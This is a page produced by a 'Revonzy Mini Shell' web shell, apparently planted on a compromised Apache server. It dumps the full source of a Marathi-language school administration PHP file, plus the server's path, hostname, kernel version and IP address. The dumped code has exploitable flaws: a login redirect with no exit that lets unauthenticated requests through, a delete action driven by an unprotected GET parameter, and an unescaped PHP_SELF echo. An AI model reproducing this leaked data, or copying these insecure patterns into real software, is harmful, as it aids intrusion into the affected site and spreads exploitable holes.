Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/panel.atsevairag.com/atse_admin_panel007/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/panel.atsevairag.com/atse_admin_panel007/add-member-to-school.php

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

	require_once("../lib/class/functions.php");
	$db = new functions();
	
	$user_type = $_SESSION['current_login_user_type'];
	
	$current_page = "";
	
	if(!isset($_SESSION['current_admn_email']))
	{	
		header("Location:/atse_admin_panel007/index.php");
	}
	
	if(isset($_GET['del_id']))
	{
		$delete_id	=	$_GET['del_id'];
		
		$db->delete_added_member_to_school_data($delete_id);
	}
	
	$login_year	=	"";
	$address_error		=	"";
	$contact_number_error=	"";
	$email_id_error		=	"";
	$flag				=	0;
	$success_msg 		= 	0;
	$contact_person_name_error	=	"";
	$school_name_error	=	"";
	$userid_error		=	"";
	$pratinidhi_name	="";
	$school_name	=	"";
	$pratinidhi_name_error	=	"";
	
	if(isset($_POST['add_centre_btn']))
	{
		$pratinidhi_name=	$_POST['pratinidhi_name'];
				
		if(!isset($_POST['school_name']))
		{	
			$school_name_error	=	"शाळेचे नाव निवडा";
			$flag		=	1;
		}
		
		if($pratinidhi_name=="प्रतिनिधी निवडा")
		{
			$pratinidhi_name_error	=	"प्रतिनिधीचे नाव निवडा";
			$flag		=	1;
		}
		else if($pratinidhi_name=="no data")
		{
			$pratinidhi_name_error	=	"प्रतिनिधीचे नाव निवडा";
			$flag		=	1;
		}
		
		if($flag=="0")
		{
			$school_id	=	$_POST['school_name'];
			$pratinidhi_userid	= $pratinidhi_name;
			if($school_id!="")
			{
				$data1=explode("-",$school_id);
				$first_part=$data1[0];
				$school_id=$data1[1];
				$third=$data1[2];
			}
			$db_id=$db->get_db_id_school_added_member($school_id,$pratinidhi_userid,$_SESSION['current_admn_email']);
			if($db_id=='')
			{
				if($db->add_new_member_to_school($school_id,$pratinidhi_userid,$_SESSION['current_admn_email']))
				{
					$success_msg	=	1;
				}
			}
			else
			{
				$success_msg	=	2;
			}
			
		}
	}
?>
<html>
<head>
	<meta charset="UTF-8">
	<title>ATSE Vairag</title>
	
	<link rel="stylesheet" type="text/css" href="/css/stylesheet.css" />
	
	<link rel="stylesheet" type="text/css" href="../css/jquery-ui.css" />
	<script type="text/javascript" src="/js/jquery-1.10.2.js"></script>
	<script type="text/javascript" src="/js/jquery-ui.js"></script>
	<script type="text/javascript" src="/js/site.js"></script>
	<link rel="stylesheet" href="style.css">
</head>
<body>
<?php
	require_once('header.php');
?>
	
	<div style="min-height:570px;">
		<div class="admin-mid-section">
			<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
			<br />
			<center><strong>प्रतिनिधींची नियुक्ती करा</strong></center>
			<hr />
			
			<div class="add_centre_container">
			
			<?php
				if($success_msg=="2")
				{
			?>
				<div class="add_centre_success" style="color:red !important;">
					Sorry Alerady Added School
				</div>
			<?php
				}
			?>
			<?php
				if($success_msg=="1")
				{
			?>
				<div class="add_centre_success">
					प्रतिनिधींची नियुक्ती  झाली आहे 
				</div>
			<?php
				}
			?>
			<select name="pratinidhi_name" class="txtflds">
			<?php
				$members_list = array();
				//$members_list = $db->get_pratinidhi_data_from_main_pratinidhi_id($_SESSION['current_admn_email']);
				$members_list = $db->new_get_pratinidhi_data_from_main_pratinidhi_id($_SESSION['current_admn_email']);
				
				if(!empty($members_list))
				{
			?>
				<option value="प्रतिनिधी निवडा">प्रतिनिधी निवडा</option>
			<?php
					$count = 0;
					foreach($members_list as $centre)
					{
						$id			=	$members_list[$count][0];
						$member_name=	$members_list[$count][1];
						$userid		=	$members_list[$count][5];
			?>
					<option value="<?php echo $userid; ?>" <?php  if($pratinidhi_name==$userid) { ?> Selected <?php } ?>><?php echo $member_name; ?></option>
			<?php
						$count++;
					}
				}	
				else
				{
			?>
					<option value="no data">कोणत्याही प्रतिनिधीची नोंद केलेली नाही</option>
			<?php
				}
			?>
			</select>
			<span class="error_indicator"><?php echo $pratinidhi_name_error; ?></span>
			<br />
			<input type="text" name="school_name" id="school_name" class="registered_order_txt" style="width:345px; height:35px; line-height:27px;" placeholder="शाळेचे नाव" value="<?php echo $school_name; ?>" />
				
			<span class="error_indicator"><?php echo $school_name_error; ?></span>
			
			<br />
			<center><input type="submit" name="add_centre_btn" value="प्रतिनिधींची नियुक्त करा" id="" class="reg_btn_form" style="width:190px;" /></center>
			</div>
			</form>
		<div class="news_feed_tbl_container">
				<center>
				<table border="1" class="centre_tab">
					<tr style="background-color:#EFEFEF;">
						<td width="50">अ. क्र.</td>
						<td width="10">शाळेचा क्र.</td>
						<td width="150">शाळेचे नाव</td>
						<td width="100">शाळेचा पत्ता</td>
						<td width="">जिल्हा </td>
						<td width="">प्रतिनिधी क्र.</td>
						<td width="">प्रतिनिधीचे नाव</td>
						<td width="">प्रतिनिधीचा पत्ता</td>
						<td></td>
					</tr>
					<?php
						$data = array();
						$data = $db->get_all_school_added_members_by_user_wise($_SESSION['current_admn_email']);
				// 		print_r($data);
						if(!empty($data))
						{
							$count = 0;
							foreach($data as $r_data)
							{
								$id				=	$data[$count][0];
								$school_id		=	$data[$count][1];
								$member_user_id	=	$data[$count][2];
								$date			=	$data[$count][3];
								$time			=	$data[$count][4];
								
								$school_data	=	$db->get_school_data_from_id($school_id);
								$r_s_id		=	$school_data[0];
								$center_name=	$school_data[1];
								$address	=	$school_data[2];
								$contact_no	=	$school_data[3];
								$fax_number	=	$school_data[4];
								$email_id	=	$school_data[5];
								$jilha		=	$school_data[6];
								$date		=	$school_data[7];
								$time		=	$school_data[8];
								$contact_person_name=	$school_data[9];
								
								$r_p_id		=	"";
								$member_name=	"";
								$m_address	=	"";
    								
								// $pratinidhi_data	=	$db->get_pratinidhi_data_from_id($member_user_id);
								$pratinidhi_data	=	$db->new_get_pratinidhi_data_from_id($member_user_id);
								
								if(!empty($pratinidhi_data))
								{
    								$r_p_id		=	$pratinidhi_data[0];
    								$member_name=	$pratinidhi_data[1];
    								$m_address	=	$pratinidhi_data[2];
								}
								
					?>
						<tr>
							<td width=""><?php echo $id; ?></td>
							<td width=""><?php echo $r_s_id; ?></td>
							<td width=""><?php echo $center_name; ?></td>
							<td width=""><?php echo $address; ?></td>
							<td width=""><?php echo $jilha; ?> </td>
							<td width=""><?php echo $r_p_id; ?> </td>
							<td width=""><?php echo $member_name; ?> </td>
							<td width=""><?php echo $m_address; ?> </td>
							<td width=""><a href="<?php echo $_SERVER['PHP_SELF']."?del_id=".$id; ?>" class="delete_link_report" id="news_delete_link">Delete</a></td>
						</tr>
					<?php
							$count++;
							}
						}
						else
						{
					?>
						<tr>
							<td colspan="5">कोणतीही बातमी जतन केलेली नाही </td>
						</tr>
					<?php
						}
					?>
				</table>
				</center>
			</div>
				
	</div>
</div></div>	
	<?php
		require_once('footer.php');
	?>
	<script>
					$(function() {
					var availableTags = [
						<?php	
							$centres_list = array();
							$centres_list = $db->get_all_added_schools_by_user_wise($_SESSION['current_admn_email'],$login_year,$user_type);
							
							if(!empty($centres_list))
							{
								$count = 0;
								
								foreach($centres_list as $centre)
								{
									$id			=	$centres_list[$count][0];
									$scenter_name=	$centres_list[$count][1];
						?>
							"शाळा क्रमांक-<?php echo $id; echo "-".$scenter_name; ?>",
							
						<?php
									$count++;
								}
							}
						?>
					];
					$( "#school_name" ).autocomplete({
					  source: availableTags
					});
					});
				</script>
</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4